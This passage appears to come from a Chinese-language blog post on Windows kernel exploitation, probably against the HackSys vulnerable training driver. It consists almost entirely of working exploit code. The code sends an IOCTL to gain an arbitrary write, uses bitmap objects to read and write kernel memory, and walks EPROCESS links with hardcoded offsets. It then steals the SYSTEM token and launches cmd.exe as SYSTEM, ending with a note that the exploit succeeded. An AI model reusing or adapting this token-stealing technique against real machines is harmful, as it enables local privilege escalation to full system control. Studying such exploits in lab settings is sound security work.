buf[0] = (ULONG64)&temp;
printf("hWorkerpvScan0=%llX\n", *(ULONG64*)*buf);
LPDWORD dwBytesOut{};
//修改结构体指针
DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, dwBytesOut, NULL);
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
PVOID64 UserBase;
HMODULE nbase;
ULONG64 address;
ULONG64 PsInitialSystemProcess;
//遍历模块
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
//获取第一个模块地址
GetDeviceDriverBaseName(lpImageBase[0], lpfileName, 48);
UserBase = lpImageBase[0];
nbase = LoadLibrary(L"ntoskrnl.exe");
printf("UserBase=%llX\n", UserBase);
address = (ULONG64)GetProcAddress(nbase, "PsInitialSystemProcess");
//PsInitialSystemProcess 是一个指向system EPROCESS的指针
PsInitialSystemProcess = ((ULONG64)address - (ULONG64)nbase + (ULONG64)UserBase);
printf("PsInitialSystemProcess=%llX\n", PsInitialSystemProcess);
LIST_ENTRY ActiveProcessLinks{};
DWORD64 currentProcess;//当前进程eporcess
ULONG64 UniqueProcessId;
ULONG64 SystemProcess{};
ULONG64 indexa = 1;
ULONG64 indexb = 2;
printf("num=%d\n",num);
for (size_t i = 0; i < num; i++)
{
WriteMemory(bitmap[i], bitmap[i + 1], &indexa,
(LPVOID)indexb, sizeof(LPVOID));
if (indexa == 2)
{
indexa = i;
indexb = i + 1;
printf("indexa=%d indexb=%d\n", i, i+1);
break;
}
}
ReadMemory(bitmap[indexa], bitmap[indexb], (PVOID)PsInitialSystemProcess,
&SystemProcess, sizeof(LPVOID));
printf("SystemEProcess=%llX\n", SystemProcess);
DWORD dwCurrentPID;
//+0x2e8 ActiveProcessLinks : _LIST_ENTRY
ReadMemory(bitmap[indexa], bitmap[indexb], (PVOID)(SystemProcess + 0x2e8), &ActiveProcessLinks, sizeof(LIST_ENTRY));
do
{
currentProcess = (DWORD64)((PUCHAR)ActiveProcessLinks.Flink - 0x2e8);
ReadMemory(bitmap[indexa], bitmap[indexb], (PVOID)(currentProcess + 0x2e0), &UniqueProcessId, sizeof(LPVOID));
dwCurrentPID = LOWORD(UniqueProcessId);
ReadMemory(bitmap[indexa], bitmap[indexb], (PVOID)(currentProcess + 0x2e8), &ActiveProcessLinks, sizeof(LIST_ENTRY));
} while (dwCurrentPID != GetCurrentProcessId());
ULONG64 systemtoken{};
//+0x358 Token : _EX_FAST_REF
printf("eProcessToken=%llX\n", currentProcess + 0x358);
ReadMemory(bitmap[indexa], bitmap[indexb], (PVOID)(SystemProcess + 0x358),
&systemtoken, sizeof(LPVOID));
printf("systemtoken=%llX\n", systemtoken);
WriteMemory(bitmap[indexa], bitmap[indexb], (PVOID)(currentProcess + 0x358),
(PVOID)systemtoken, sizeof(LPVOID));
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
getchar();
return 0;
}
利用成功 未完待续